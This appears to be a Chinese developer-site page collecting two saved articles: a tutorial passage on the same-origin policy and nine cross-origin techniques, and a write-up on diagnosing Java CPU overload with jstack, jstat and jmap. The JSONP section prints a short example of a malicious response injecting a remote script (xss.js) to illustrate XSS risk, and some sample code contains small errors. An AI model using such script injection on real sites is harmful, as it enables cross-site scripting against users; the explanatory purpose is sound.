假设 cookie 支持了跨域,http 协议无状态,当用户访问了一个银行网站登录后,银行网站的服务器给返回了一个 sessionId,当通过当前浏览器再访问一个恶意网站,如果 cookie 支持跨域,恶意网站将获取 sessionId 并访问银行网站,出现安全性问题;IndexDB、localStorage 等数据存储在不同域的页面切换时是获取不到的;假设 dom 元素可以跨域,在自己的页面写入一个 iframe 内部嵌入的地址是 www.baidu.com,当在百度页面登录账号密码时就可以在自己的页面获取百度的数据信息,这显然是不合理的。

这就是为什么 cookielocalStoragedomajaxIndexDB 会受到同源策略会限制,下面还有一点对跨域理解的误区:

误区:同源策略限制下,访问不到后台服务器的数据,或访问到后台服务器的数据后没有返回;
正确:同源策略限制下,可以访问到后台服务器的数据,后台服务器会正常返回数据,而被浏览器给拦截了。


实现跨域的方式

一、使用 jsonp 跨域

使用场景:当自己的项目前端资源和后端部署在不同的服务器地址上,或者其他的公司需要访问自己对外公开的接口,需要实现跨域获取数据,如百度搜索。

// 封装 jsonp 跨域请求的方法
function jsonp({ url, params, cb }) {
    return new Promise((resolve, reject) => {
        // 创建一个 script 标签帮助我们发送请求
        let script = document.createElement("script");
        let arr = [];
        params = { ...params, cb };

        // 循环构建键值对形式的参数
        for (let key in params) {
            arr.push(`${key}=${params[key]}`);
        }

        // 创建全局函数
        window[cb] = function(data) {
            resolve(data);
            // 在跨域拿到数据以后将 script 标签销毁
            document.body.removeChild(script);
        };

        // 拼接发送请求的参数并赋值到 src 属性
        script.src = `${url}?${arr.join("&")}`;
        document.body.appendChild(script);
    });
}

// 调用方法跨域请求百度搜索的接口
json({
    url: "https://sp0.baidu.com/5a1Fazu8AA54nxGko9WTAnF6hhy/su",
    params: {
        wd: "jsonp"
    },
    cb: "show"
}).then(data => {
    // 打印请求回的数据
    console.log(data);
});

缺点:

  • 只能发送 get 请求 不支持 post、put、delete;
  • 不安全,容易引发 xss 攻击,别人在返回的结果中返回了下面代码。
`let script = document.createElement('script');
script.src = "http://192.168.0.57:8080/xss.js";
document.body.appendChild(script);`;

会把别人的脚本引入到自己的页面中执行,如:弹窗、广告等,甚至更危险的脚本程序。


二、使用 CORS 跨域

跨源资源共享/CORS(Cross-Origin Resource Sharing)是 W3C 的一个工作草案,定义了在必须访问跨源资源时,浏览器与服务器应该如何沟通。CORS 背后的基本思想,就是使用自定义的 HTTP 头部让浏览器与服务器进行沟通,从而决定请求或响应是应该成功,还是应该失败。

使用场景:多用于开发时,前端与后台在不同的 ip 地址下进行数据访问。

现在启动两个端口号不同的服务器,创建跨域条件,服务器(NodeJS)代码如下:

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require("express");
let app = express();
app.get("/getDate", function(req, res) {
    res.end("I love you");
});
app.use(express.static(__dirname));
app.listen(4000);

由于我们的 NodeJS 服务器使用 express 框架,在我们的项目根目录下的命令行中输入下面代码进行安装:

npm install express --save

通过访问 http://localhost:3000/index.html 获取 index.html 文件并执行其中的 Ajax 请求 http://localhost:4000/getDate 接口去获取数据,index.html 文件内容如下:

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>CORS 跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();

        // 正常 cookie 是不允许跨域的
        document.cookie = 'name=hello';

        // cookie 想要实现跨域必须携带凭证
        xhr.withCredentials = true;

        // xhr.open('GET', 'http://localhost:4000/getDate', true);
        xhr.open('PUT', 'http://localhost:4000/getDate', true);

        // 设置名为 name 的自定义请求头
        xhr.setRequestHeader('name', 'hello');

        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    // 打印返回的数据
                    console.log(xhr.response);

                    // 打印后台设置的自定义头信息
                    console.log(xhr.getResponseHeader('name'));
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

上面 index.html 代码中发送请求访问不在同源的服务器 2,此时会在控制台给出错误信息,告诉我们缺少了哪些响应头,我们对应报错信息去修改访问的服务器 2 的代码,添加对应的响应头,实现 CORS 跨域。

// 服务器2
const express = require("express");
let app = express();

// 允许访问域的白名单
let whiteList = ["http://localhost:3000"];

app.use(function(req, res, next) {
    let origin = req.header.origin;
    if (whiteList.includes(origin)) {
        // 设置那个源可以访问我,参数为 * 时,允许任何人访问,但是不可以和 cookie 凭证的响应头共同使用
        res.setHeader("Access-Control-Allow-Origin", origin);
        // 想要获取 ajax 的头信息,需设置响应头
        res.setHeader("Access-Control-Allow-Headers", "name");
        // 处理复杂请求的头
        res.setHeader("Access-Control-Allow-Methods", "PUT");
        // 允许发送 cookie 凭证的响应头
        res.setHeader("Access-Control-Allow-Credentials", true);
        // 允许前端获取哪个头信息
        res.setHeader("Access-Control-Expose-Headers", "name");
        // 处理 OPTIONS 预检的存活时间,单位 s
        res.setHeader("Access-Control-Max-Age", 5);
        // 发送 PUT 请求会做一个试探性的请求 OPTIONS,其实是请求了两次,当接收的请求为 OPTIONS 时不做任何处理
        if (req.method === "OPTIONS") {
            res.end();
        }
    }
    next();
});

app.put("/getDate", function(req, res) {
    // res.setHeader('name', 'nihao'); // 设置自定义响应头信息
    res.end("I love you");
});

app.get("/getDate", function(req, res) {
    res.end("I love you");
});

app.use(express.static(__dirname));
app.listen(4000);


三、使用 postMessage 实现跨域

postMessage 是 H5 的新 API,跨文档消息传送(cross-document messaging),有时候简称为 XMD,指的是在来自不同域的页面间传递消息。

调用方式:window.postMessage(message, targetOrigin)

  • message:发送的数据
  • targetOrigin:发送的窗口的域

在对应的页面中用 message 事件接收,事件对象中有 dataoriginsource 三个重要信息

  • data:接收到的数据
  • origin:接收到数据源的域(数据来自哪个域)
  • source:接收到数据源的窗口对象(数据来自哪个窗口对象)

使用场景:不是使用 Ajax 的数据通信,更多是在两个页面之间的通信,在 A 页面中引入 B 页面,在 AB 两个页面之间通信。

与上面 CORS 类似,我们要创建跨域场景,搭建两个端口号不同的 Nodejs 服务器,后面相同方式就不多赘述了。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

通过访问 http://localhost:3000/a.html,在 a.html 中使用 iframe 标签引入 http://localhost:4000/b.html,在两个窗口间传递数据。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe data-original="http://localhost:4000/b.html" id="frame" onload="load()"></iframe>
    <script>
        function load() {
            let frame = document.getElementById('frame');
            frame.contentWindow.postMessage('I love you', 'http://localhost:4000');
            window.onmessage = function (e) {
                console.log(e.data);
            }
        }
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 B</title>
</head>
<body>
    <script>
        window.onmessage = function (e) {
            // 打印来自页面 A 的消息
            console.log(e.data);
            // 给页面 A 发送回执
            e.source.postMessage('I love you, too', e.origin);
        }
    </script>
</body>
</html>


四、使用 window.name 实现跨域

同样是页面之间的通信,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面在独立的域 http://localhost:4000。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

实现思路:在 A 页面中将 iframesrc 指向 C 页面,在 C 页面中将属性值存入 window.name 中,再把 iframesrc 换成同域的 B 页面,在当前的 iframewindow 对象中取出 name 的值,访问 http://localhost:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe data-original="http://localhost:4000/c.html" id="frame" onload="load()"></iframe>
    <script>
        // 增加一个标识,第一次触发 load 时更改地址,更改后再次触发直接取值
        let isFirst = true;
        function load() {
            let frame = document.getElementById('frame');
            if(isFirst) {
                frame.src = 'http://localhost:3000/b.html';
                isFirst = false;
            } else {
                console.log(frame.contentWindow.name);
            }
        }
    </script>
</body>
</html>
<!-- 文件:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 C</title>
</head>
<body>
    <script>
        window.name = 'I love you';
    </script>
</body>
</html>

<br/>

五、使用 location.hash 实现跨域

window.name 跨域的情况相同,是不同域的页面间的参数传递,需要借助 iframe 标签,A 页面和 B 页面是同域的 http://localhost:3000,C 页面是独立的域 http://localhost:4000。

// 服务器1
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(3000);

// 服务器2
const express = require(express);
let app = express();
app.use(express.static(__dirname));
app.listen(4000);

实现思路:A 页面通过 iframe 引入 C 页面,并给 C 页面传一个 hash 值,C 页面收到 hash 值后创建 iframe 引入 B 页面,把 hash 值传给 B 页面,B 页面将自己的 hash 值放在 A 页面的 hash 值中,访问 http://localhost:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <iframe data-original="http://localhost:4000/c.html#Iloveyou" id="frame"></iframe>
    <script>
        // 使用 hashchange 事件接收来自 B 页面设置给 A 页面的 hash 值
        window.onhashchange = function () {
            console.log(location.hash);
        }
    </script>
</body>
</html>
<!-- 文件:c.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 C</title>
</head>
<body>
    <script>
        // 打印 A 页面引入 C 页面设置的 hash 值
        console.log(location.hash);
        let iframe = document.createElement('iframe');
        iframe.src = 'http://localhost:3000/b.html#Iloveyoutoo';
        document.body.appendChild(iframe);
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 B</title>
</head>
<body>
    <script>
        // 将 C 页面引入 B 页面设置的 hash 值设置给 A页面
        window.parent.parent.location.hash = location.hash;
    </script>
</body>
</html>

<br/>

六、使用 document.domain 实现跨域

使用场景:不是万能的跨域方式,大多使用于同一公司不同产品间获取数据,必须是一级域名和二级域名的关系,如 www.baidu.comvideo.baidu.com 之间。

const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

想要模拟使用 document.domain 跨域的场景需要做些小小的准备,到 C:WindowsSystem32driversetc 该路径下找到 hosts 文件,在最下面创建一个一级域名和一个二级域名。

127.0.0.1          www.domainacross.com
127.0.0.1          sub.domainacross.com

命名是随意的,只要是符合一级域名与 二级域名的关系即可,然后访问 http://www.domainacross.com:3000/a.html。

<!-- 文件:a.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面 A</title>
</head>
<body>
    <p>我是页面 A 的内容</p>
    <iframe data-original="http://sucess.domainacross.com:3000/b.html" onload="load()" id="frame"></iframe>
    <script>
        document.domain = 'domainacross.com';
        function load() {
            console.log(frame.contentWindow.message);
        }
    </script>
</body>
</html>
<!-- 文件:b.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>页面 B</title>
</head>
<body>
    <p>我是 B 页面的内容</p>
    <script>
        document.domain = 'domainacross.com';
        var message = 'Hello A';
    </script>
</body>
</html>


七、使用 WebSocket 实现跨域

WebSocket 没有跨域限制,高级 API(不兼容),想要兼容低版本浏览器,可以使用 socket.io 的库,WebSocket 与 HTTP 内部都是基于 TCP 协议,区别在于 HTTP 是单向的(单双工),WebSocket 是双向的(全双工),协议是 ws://wss:// 对应 http://https://,因为没有跨域限制,所以使用 file:// 协议也可以进行通信。

由于我们在 NodeJS 服务中使用了 WebSocket,所以需要安装对应的依赖:

npm install ws --save
<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>页面</title>
</head>
<body>
    <script>
        // 创建 webSocket
        let socket = new WebSocket('ws://localhost:3000');
        // 连接上触发
        socket.onopen = function () {
            socket.send('I love you');
        }
        // 收到消息触发
        socket.onmessage = function (e) {
            // 打印收到的数据
            console.log(e.data); // I love you, too
        }
    </script>
</body>
</html>
const express = require("express");
let app = express();

// 引入 webSocket
const WebSocket = require("ws");
// 创建连接,端口号与前端相对应
let wss = new WebSocket.Server({ port: 3000 });

// 监听连接
wss.on("connection", function(ws) {
    // 监听消息
    ws.on("message", function(data) {
        // 打印消息
        console.log(data); // I love you
        // 发送消息
        ws.send("I love you, too");
    });
});


八、使用 nginx 实现跨域

nginx 本身就是一个服务器,因此我们需要去 nginx 官网下载服务环境 http://nginx.org/en/download....

  • 下载后解压到一个文件夹中
  • 双击 nginx.exe 启动(此时可以通过 http://localhost 访问 nginx 服务)
  • 在目录新建 json 文件夹
  • 进入 json 文件夹新建 data.json 文件并写入内容
  • 回到 nginx 根目录进入 conf 文件夹
  • 使用编辑器打开 nginx.conf 进行配置

data.json 文件:

{
    "name": "nginx"
}

nginx.conf 文件:

server {
    .
    .
    .
    location ~.*\.json {
        root json;
        add_header "Access-Control-Allow-Origin" "*";
    }
    .
    .
    .
}

含义:

  • ~.*\.json:代表忽略大小写,后缀名为 json 的文件;
  • root json:代表 json 文件夹;
  • add_header:代表加入跨域的响应头及允许访问的域,* 为允许任何访问。

nginx 根目录启动 cmd 命令行(windows 系统必须使用 cmd 命令行)执行下面代码重启 nginx

nginx -s reload

不跨域访问:http://localhost/data.json

跨域访问时需要创建跨域条件代码如下:

// 服务器
const express = require("express");
let app = express();

app.use(express.static(__dirname));
app.listen(3000);

跨域访问:http://localhost:3000/index.html

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>nginx跨域</title>
</head>
<body>
    <script>
        let xhr = new XMLHttpRequest();
        xhr.open('GET', 'http://localhost/data.json', true);
        xhr.onreadystatechange = function () {
            if(xhr.readyState === 4) {
                if(xhr.status >= 200 && xhr.status < 300 || xhr.status === 304) {
                    console.log(xhr.response);
                }
            }
        }
        xhr.send();
    </script>
</body>
</html>

<br/>

九、使用 http-proxy-middleware 实现跨域

NodeJS 中间件 http-proxy-middleware 实现跨域代理,原理大致与 nginx 相同,都是通过启一个代理服务器,实现数据的转发,也可以通过设置 cookieDomainRewrite 参数修改响应头中 cookie 中的域名,实现当前域的 cookie 写入,方便接口登录认证。

1、非 vue 框架的跨域(2 次跨域)

<!-- 文件:index.html -->
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>proxy 跨域</title>
</head>
<body>
    <script>
        var xhr = new XMLHttpRequest();

        // 前端开关:浏览器是否读写 cookie
        xhr.withCredentials = true;

        // 访问 http-proxy-middleware 代理服务器
        xhr.open('get', 'http://www.proxy1.com:3000/login?user=admin', true);
        xhr.send();
    </script>
</body>
</html>

中间代理服务中使用了 http-proxy-middleware 中间件,因此需要提前下载:

npm install http-proxy-middleware --save-dev
// 中间代理服务器
const express = require("express");
let proxy = require("http-proxy-middleware");
let app = express();

app.use(
    "/",
    proxy({
        // 代理跨域目标接口
        target: "http://www.proxy2.com:8080",
        changeOrigin: true,

        // 修改响应头信息,实现跨域并允许带 cookie
        onProxyRes: function(proxyRes, req, res) {
            res.header("Access-Control-Allow-Origin", "http://www.proxy1.com");
            res.header("Access-Control-Allow-Credentials", "true");
        },

        // 修改响应信息中的 cookie 域名
        cookieDomainRewrite: "www.proxy1.com" // 可以为 false,表示不修改
    })
);

app.listen(3000);
// 服务器
const http = require("http");
const qs = require("querystring");

const server = http.createServer();

server.on("request", function(req, res) {
    let params = qs.parse(req.url.substring(2));

    // 向前台写 cookie
    res.writeHead(200, {
        "Set-Cookie": "l=a123456;Path=/;Domain=www.proxy2.com;HttpOnly" // HttpOnly:脚本无法读取
    });

    res.write(JSON.stringify(params));
    res.end();
});

server.listen("8080");

2、vue 框架的跨域(1 次跨域)

利用 node + webpack + webpack-dev-server 代理接口跨域。在开发环境下,由于 Vue 渲染服务和接口代理服务都是 webpack-dev-server,所以页面与代理接口之间不再跨域,无须设置 Headers 跨域信息了。

// 导出服务器配置
module.exports = {
    entry: {},
    module: {},
    ...
    devServer: {
        historyApiFallback: true,
        proxy: [{
            context: '/login',
            target: 'http://www.proxy2.com:8080',  // 代理跨域目标接口
            changeOrigin: true,
            secure: false,  // 当代理某些 https 服务报错时用
            cookieDomainRewrite: 'www.domain1.com'  // 可以为 false,表示不修改
        }],
        noInfo: true
    }
}


本篇文章在于帮助我们理解跨域,以及不同跨域方式的基本原理,在公司的项目比较多,多个域使用同一个服务器或者数据,以及在开发环境时,跨域的情况基本无法避免,一般会有各种各样形式的跨域解决方案,但其根本原理基本都在上面的跨域方式当中方式,我们可以根据开发场景不同,选择最合适的跨域解决方案。


查看原文

h2so 收藏了文章 · 2018-10-12

做JAVA开发的同学一定遇到过的爆表问题,看这里解决

欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~

本文由净地发表于云+社区专栏

记一次Java线上服务器CPU过载问题的排查过程,详解排查过程中用到的Java性能监测工具:jvisualvm、jstack、jstat、jmap。

背景:Java线上服务运行一周后,某个周六晚上CPU使用率突然持续99%,Java进程处于假死状态,不响应请求。秉着先恢复服务再排查问题的原则,在我连接VPN采用重启大法后,CPU使用率恢复正常,服务也正常响应了,如下图一所示:

img(图一)CPU使用率图

但是,当晚的并发量也没有比平时高出许多,为什么会突然出现这种CPU爆表的情况?带着这个疑问,我走上了问题排查的道路。

首先,我查了相关的错误日志,发现故障的时间段内有大量的ckv请求超时,但请求超时并不是ckv server的问题,而是ckv client的请求并没有发出去。那么,为什么ckv client的请求没有发出去呢?日志并没有提供更多的信息给我。

于是,我在Java服务上开启了JMX,本地采用jvisualvm来观察Java进程运行时的堆栈内存、线程使用情况。JMX(Java Management Extensions,即Java管理扩展)是Java平台上为应用程序、设备、系统等植入管理功能的框架;jvisualvm是JDK内置的性能分析工具,位于JDK根目录的bin文件夹下面,它可以通过JMX从Java程序获取运行时的实时数据,从而进行动态的性能分析,如图二所示:

img(图二)jvisualvm

通过观察Heap内存的使用情况,发现其是缓慢增加的,每隔一小段时间被GC回收,图形呈锯齿状,似乎没有什么问题;Threads也没有存在死锁的问题,线程运行良好;在Sampler查看Thread CPU Time的时候发现,log4j的异步日志线程占用的CPU时间是最多的。于是,初步怀疑这是log4j的锅。接着,我对项目代码进行了review,发现某些接口打印了大量的无用日志,日志级别使用也不规范。最后,我对项目的日志进行了整体的梳理,优化后发布上线,并继续观察。

我本以为问题已经解决了。然而,几天后又出现了CPU爆表的情况,这时,我才发现自己错怪了log4j。与上次爆表的情况不同,这次我在公司(表示很淡定),于是我机智地保留了一台机器来做观察,其他机器做重启处理。现在,要开始我的表演了,具体如下:

(1)登陆机器,用 top 命令查看进程资源占用情况。不出所料,Java进程把CPU撑爆了,如下图三所示:

img(图三)进程资源占用情况

(2)Java进程把CPU都占用完了,那么具体是进程内的哪些线程占用的呢?于是,我用了 top -H -p6902 (6902是Java进程的PID)命令找出了具体的线程资源占用情况,如下图四所示:

img(图四)Java线程资源占用情况

图四中的PID为Java线程的id,可以看到id为6904、6905、6906、6907这四个线程基本把CPU资源全部吃完了。

(3)现在,我们已经拿到耗尽CPU资源的线程id了。这时,我们就可以使用jstack来查找这些id对应的具体线程堆栈信息了。jstack是JDK内置的堆栈跟踪工具,位于JDK根目录的bin文件夹下面,可用于打印的Java堆栈信息。我用命令 jstack 6902 > jstack.txt (6902是Java进程的PID)打印出了Java进程的堆栈信息放到jstack.txt文件了;由于堆栈打印的线程的native id是十六机制的,所以,我把十进制的线程id(6904、6905、6906、6907)转化成十六进制(0x1af8、0x1af9、0x1afa、0x1afb);最后,通过 cat jstack.txt | grep -C 20 0x1af8 命令找到了具体的线程信息,如下图五所示:

img(图五)线程堆栈信息

通过图五可以发现,把CPU占满的线程是GC的线程,Java的垃圾回收把CPU的资源耗尽了。

(4)现在,我们已经定位到是GC的问题了。那么,我们就来看看GC的回收情况,我们可以通过jstat来观察。jstat是JDK内置的JVM检测统计工具,位于JDK根目录的bin文件夹下面,可以对堆内存的使用情况进行实时统计。我使用了命令 jstat -gcutil 6902 2000 10 (6902是Java进程的PID)来观察GC的运行信息,如下图六所示:

img(图六)GC运行信息

通过图六可以知道,E(Eden区)跟O(Old区)的内存已经被耗尽了,FGC(Full GC)的次数高达6989次,FGCT(Full GC Time)的时间高达36453秒,即平均每次FGC的时间为:36453/6989 ≈ 5.21秒。也就是说,Java进程都把时间花在GC上了,所以就没有时间来处理其他事情。

(5)GC出现图六的这种情况,基本可以确认是在程序中存在内存泄露的问题。那么,如何确定是哪些代码导致的这个问题呢?这时候,我们就可以使用jmap查看Java的内存占用信息。jmap是JDK内置的内存映射工具,位于JDK根目录的bin文件夹下面,可用于获取java进程的内存映射信息。通过命令 jmap -histo 6902 (6902是Java进程的PID)打印出了Java的内存占用信息,如下图七所示:

img(图七)Java内存占用信息

由图七可以得到,占用内存资源的TOP10类([C 是指char[],String类内部使用char[]来保存数据)的名称、实例数以及占用内存大小(单位:byte),于是问题排查就变得非常简单了。最后,通过review代码确定了问题所在:

  1. 部分接口使用到了L5QOSPacket这个L5的工具类没有做单例,每次请求接口都会生成一个新的实例,浪费了大量的内存。
  2. 代码里边用到的一个第三方提供的QcClient客户端存在内存泄露问题,代码中不恰当地new了大量的对象,而且对存储在ConcurrentHashMap的数据没有做清除清理,从而导致数据一直累计,内存占用持续增加。

解决以上两个问题后,Heap内存的占用维持在2.5G左右,已经没有持续增长的迹象了,业务已正常运行。

以上就是我排查问题的整个过程,以及在这个过程中用到的一些Java性能监测工具。除了本文提及的jvisualvm、jstack、jstat、jmap这些工具,在JDK根目录的bin文件夹下面还有其他许多非常有用的工具,例如:使用 jinfo 查看Java进程相关信息,感兴趣的童鞋可以去研究下。

相关阅读
WCF系列教程之WCF服务配置
php异步执行
黑客用Python:检测并绕过Web应用程序防火墙
【每日课程推荐】机器学习实战!快速入门在线广告业务及CTR相应知识

此文已由作者授权腾讯云+社区发布,更多原文请点击

搜索关注公众号「云加社区」,第一时间获取技术干货,关注后回复1024 送你一份技术课程大礼包!

海量技术实践经验,尽在云加社区

查看原文

认证与成就

  • 获得 19 次点赞
  • 获得 34 枚徽章 获得 1 枚金徽章, 获得 7 枚银徽章, 获得 26 枚铜徽章

擅长技能
编辑

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 2015-08-03
个人主页被 935 人浏览